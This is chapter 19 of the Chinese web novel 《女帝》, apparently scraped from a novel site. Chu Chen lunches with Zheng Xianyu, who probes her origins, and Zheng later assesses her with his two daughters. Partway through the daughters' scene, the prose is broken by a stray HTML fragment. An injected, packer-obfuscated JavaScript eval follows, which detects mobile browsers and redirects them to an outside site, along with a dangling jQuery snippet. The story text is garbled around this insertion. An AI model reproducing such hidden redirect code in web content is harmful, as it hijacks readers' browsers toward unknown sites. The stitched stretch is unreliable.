19. 观察
作品:《女帝》 楚琛到底没能迈进酒楼的门槛——那来引路的仆役习惯性地侧身要让,猛地又反应过来,扭回原位,拉长一张脸,道是衙署午膳已备,是要请她去用。
既然称县衙为县衙,还没喊县令为郎君,那便说明其人并非张渥之仆。多半和自己一样,正在假借一些名义,且多半来自雇主的示意。
衙中发号施令的就俩,现在排除县令本人,那还有谁?
跟在仆役身后,楚琛踩着被日头晒得暖烘烘的青石板,穿过长街,跨过门槛,钻过一道又一道的小门,进到一间有屏风的屋子里。
果然,郑弦余正坐在那,面前一桌碗碟杯盏。
菜色有荤有素,杯盏古意盎然。郑弦余换了件要旧不旧的缎袍,头上的圆帽也摘了。
那部分没跟范阿四似的剃光,但也不像昨日那样编作辫束。只跟多数汉人一样,规规矩矩地挽了个髻,束在头顶。领口露出的部分,依稀也是右衽——为免误会,这却不好细看。楚琛依礼叉手:
“见过先生。”
“坐。”郑弦余抬手示意,脸上依旧是那副文化人的温和模样,仿佛从未刻意将她晾在一旁。“楚郎君行事,还真是出乎郑某意料。”
楚琛坦然坐下:“不及先生消息灵通。”
郑弦余淡淡一笑:“不敢当。若当真如此,也不至于对小郎君全无印象。”
说着,他竟亲自斟上一杯茶:“不知小郎君能否解郑某心中之惑?”
什么鬼解惑,不过是想探听背景。楚琛接过茶杯,不饮,不动声色道:“能说的,我自然知无不言。但先生若再追问我的家世……那我只好现编了。”
“哦?”郑弦余诧道,“看来小郎君的照身,是寻不回来了?”
“总有些去处不纠缠照身。”
“也是。那小郎君打算如何现编?”
“不知先生可有高见?”
“这还需看小郎君偏好哪般来历。”
皮球又滚了回来。楚琛信口胡诌:“我本是槐县右边某镇布衣……”
“不妥。”郑弦余直接打断。“小郎君名讳为琛,该字从玉,宝也,珍贵也,岂是寻常布衣黔首会用的字?”
“许是那年年景好,布衣黔首饭后无事,在路边摊找了个穷书生,从一堆字里挑了个最顺眼的。”
“依然不妥。布衣而有珍宝,何异于稚子抱金行于闹市?况且小郎君写得一笔好字,真正的百姓,画个押捺个印便是。”
“先生若备了印泥——”楚琛报以微笑,“何须在下献丑?”
郑弦余双眼凝视她:“不若称……家中生变,负气远游?”
“甚好!就这么定了。多谢先生指点。”楚琛答得干脆利落,目光转向桌上的菜,“我看这菜快凉了,先生动筷吗?”
郑弦余明显一怔,随即失笑:“小郎君先请。”
都说请了,也没多少下毒的动机,楚琛毫不客气,一筷子夹走根长得像烤鸡腿的玩意。一口下去,腥臊满嘴。好容易吞了,赶紧换夹切块的炖肉,这回倒不再是腥臊,却是一股霸道的羊膻,直冲天灵盖。
“此乃本县官厨手艺,”郑弦余也慢条斯理地夹起一箸肉,仿佛很不经意,“不知可合小郎君口味?”
官厨,大约就是后世的食堂。要不是这位碗里盛着同样的菜,楚琛简直要怀疑是对方故意使绊子。她勉强咽下嘴里的肉,惯性想摸餐巾纸。一看桌边只有粗布一块,只得凑合擦了,吐槽道:
“这鸭子很委屈,生前被排挤到老,死后竟然还要架火上烤,简直不忿。该下些玉竹、沙参并麦冬,文火慢煨,或可化解。”
“有趣。此羊又作何解?”
“这羊,怨气深重,大约本来苟且偷生,突然横来一刀,死得憋屈。故而须用猛火烤透,再撒以孜然,才能镇住。”
郑弦余摇头道:“小郎君炖鸭有药材辟味,炙羊又有孜然相佐,还想扮作布衣?”
“或许……是我祖上出过御厨,传下点微末手艺?”
“噢?若我欲食羊肉,苦于腥膻难忍,手边又只有粗盐野葱,该当如何?”
你都夹好几块了,现在想起腥膻,骗哪的鬼。楚琛心中暗骂,面上却露出好奇:“不知先生求速效,还是能缓缓?”
“都说说看。”
“若求速效,那得选头好羊!”楚琛热情介绍,“真正的好羊,自带清香,膻味极淡,只需一把粗盐提味,越简单越能承托鲜美,所谓鱼羊为鲜。”
“这种羊,得散养在开阔草场,时常奔跑……”
“此羊难觅。”郑弦余短促一笑,“即便有,亦非郑某能遇。”
“啊?那,退而求其次。好生腌制,冷水下锅慢炖。香料不过是锦上添花,寻常的姜蒜大葱搭配得当,火力精准,也能压味。”
郑弦余面露失望:“这等手法,寻常厨子也知。御厨传家,就这点本事?”
“菜肴出品,七分靠原料,三分靠打拼。原料本就欠佳,佐料又被克扣,天上的厨子下凡也没辙。”楚琛道,“不过,我倒有个主意。敢问先生,这介意羊膻的是谁?”
“权当是郑某本人。”
“那请先生禁食荤腥,出城绕城墙猛跑,一刻不停。如此直至半夜,再膻再劣的羊肉,进先生嘴里,那也是人间至味!”
郑弦余呵地一笑:“小子促狭。”他摆摆手,“继续吃吧。”
楚琛:“……”
楚琛:“……?”
不是……这就完了?评价呢?结论呢?后续呢?费劲巴拉扯一大通,轻飘飘一句“促狭”打发了?
楚琛一时不忿。昨晚才签了名,今天就被喊来吃饭扯淡,用膝盖想也明白这家伙有些目的。可转念一想,自己在这地方无根无基,别说打哑谜,恐怕未来装孙子的场景都有的是,一下又平衡不少。
不过,这回郑弦余好像是已经做了决定,一句话没再多说。
一顿饭在诡异的沉默中结束。郑弦余慢条斯理地漱过口,才仿佛不经意道:
“小郎君既自称是我的子侄……可愿真做一阵我的子侄?”
楚琛:“……”
果然。先前想什么来着。
楚琛当即站起,叉手深深一礼:“拜见叔父。”
“不急。”郑弦余受了这礼,语气依旧淡然,“郑某生性谨慎,从不敢轻信来历不明之人。你且先去弄份照身。弄到了,再来叙话。”
……
楚琛的身影消失在门外,郑弦余敲了敲桌面:“都出来吧。”
屏风后人影晃动,步出一高一矮两位少女。郑弦余目光落在高个的长女身上:“鸣珂,你怎么看?”
高个少女一屁股坐在楚琛方才所坐之处,扁起嘴:【他干瘪得像月里朵送我那条细狗……父亲,我不要他!】
郑弦余一怔,继而眉头一跳,也换做契丹语:【谁同你说是这事?】
郑鸣珂低头不语。郑弦余瞥向她身旁的矮个少女:“怀瑾,你说的?”
被点名的郑怀瑾吓得一缩脖子,慌忙摆手:“没有,爹爹!我……我也才知道……”
“不关妹妹的事!”郑鸣珂急忙辩解,“是女儿自己胡思乱想……”
“记着,既不关你事,你又何须多言。”郑弦余随口教训,视线依然牢牢锁住次女——
“郑怀瑾。”
矮个少女一哆嗦:“我没说!是娘喊阿姐打扮,我只冲阿姐笑……”
郑弦余打断她:“你以为,楚琛此人,可为你阿姐良配?”
“啊?可阿姐又不喜欢他……”
“你以此取笑你阿姐。”
“我错了……”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203642|181264||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“你取笑的是我?”
矮个少女转身行礼:“阿姐,是我不对……”
郑鸣珂忙去拉她:“没事、没事。”
“我让你们来,不是看戏解闷。”郑弦余平缓道。“怀瑾,说说,你如何看待此人?”
赔完罪的郑怀瑾顿时面露不屑:“女儿看这姓楚的好生无礼!不过一个借势的猢狲,顶着爹爹和张伯父名头招摇撞骗……”
“哦?”郑弦余问,“他如何招摇撞骗?”
“他说起吃喝,是头头是道,可连个照身都拿不出,也不说籍贯……依女儿看,至多是哪个大族逃出来的刁奴!”
“嗯。”郑弦余不置可否,“好羊你是吃过不少。他说的那药材炖方,你可曾尝过?”
“……没有。”
“仪态可以偷学,习性却需时日培养。”郑弦余缓缓道,“这个楚琛,咀嚼时必闭口,应声前定先咽尽,无人奉漱盂,知道多饮茶汤清口——深夜入城,还记得寻牙粉——这是个好习惯。你们都该记着,齿为骨之余,落一颗便塌半张脸面,与其到时懊悔,不如平日仔细。”
两个女儿皆作苦脸称是,郑弦余沉吟片刻,续道:“以为父观之,此人必出自大族,至少旁支,且不曾短过衣食。”
“其见乡中乱起,借报信连夜入城,可见果决胆气;不卑不亢,显其坚韧骨相;见为父杀人,犹敢攀附关系——”他喉间滚出半声冷笑,“正显其脸皮够厚。坚韧果决,宠辱不惊,厚颜无耻……”
“这般人物,就算真是哪家逃奴,时日一长,也绝非池中之物。”
“女儿眼拙,”郑怀瑾小声嘀咕,“除了看出此人脸皮极厚,旁的……一样都看不出。”
“阿瑾说得有理。”郑鸣珂附和,“依我看,这人瘦得风一吹就倒,定是吃不饱的。既然吃不饱,必是地位不够。地位既然不够,父亲又何必对他如此客气。”
郑弦余笑了笑,看向大女儿:“你开脉那月,也瘦脱相了。是吃不饱?还是地位不够?”
郑鸣珂瘪嘴不说话。郑弦余又道:“我记得,你有套月白的裙衫?”
“啊,是母亲非要做的……”
“你在屏风后,可曾看清楚琛所着何色?”
郑鸣珂一愣,郑怀瑾道:“不就是寻常皂袍……?”
“若让你俩着素裙,戴上你们所有镯子链子珠子去跑马击球,还能自在么?”
见两个女儿若有所悟,郑弦余淡淡道:“这人入城时血污满身,想必染过几条人命,却又连夜换净,甚至单衣出行——对这等自矜之人,礼数与客气,便如你们这些金装玉裹,好看,贵重,一旦套上,再难随意。”
“再说回其人本身。不满官厨手艺,是会讲究;虽不满,却不曾浪费,是能将就。单这两点,不过寻常。然读过书,杀过人,走过夜路之后,依然不亢不卑,是图谋长远。小小年纪,集此诸多……”
他又笑一声:“呵,能做我家子侄,却绝非我家良配。”
“原样转告你们母亲,教她莫要多想。还有,告诉官厨,晚间试试那道炖方。”
*
……太祖幼颖异,年十三,身已逾七尺。尝开弓于庭,矢贯重甲,观者莫辨雌雄。有相者拊掌叹曰:“牝牡之姿,当主神器。”
——《河东轶闻录》
……郑公讳弦余尝游辽东,值兵乱,侨寓槐县驿。中宵,驿外古槐如墨,覆压城垣,又见玄云破月,有龙战于野。惊寤披衣,踏露至东郭,值太祖单骑叩门。残星映甲,眉间紫气郁然,郑公遽整冠迎之。
槐令张公闻之,抚掌笑曰:“公其欲择东床乎?”
对曰:“某阅天潢贵胄多矣,未睹英迈若此者。苟止一女,当配之。”复叹:“然双璧在膝,焉忍厚薄之耶?”
——《燕山外史》